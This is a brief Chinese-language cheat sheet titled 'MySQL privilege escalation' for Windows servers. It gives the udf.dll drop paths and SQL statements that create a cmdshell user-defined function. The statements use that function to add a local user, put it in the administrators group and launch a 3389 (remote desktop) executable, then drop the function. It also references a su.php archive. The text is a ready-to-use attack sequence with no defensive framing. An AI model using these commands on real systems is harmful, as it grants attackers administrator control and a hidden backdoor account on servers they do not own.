Mysql的提权

C:\Winnt\udf.dll    2000
C:\Windows\udf.dll  2003

现在基本上win的服务器就这两个导出UDF.DLL

create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user user password /add');
select cmdshell('net localgroup administrators user /add');
select cmdshell('e:\3389.exe');
drop function cmdshell;  删除函数

/Files/allyesno/su.php.rar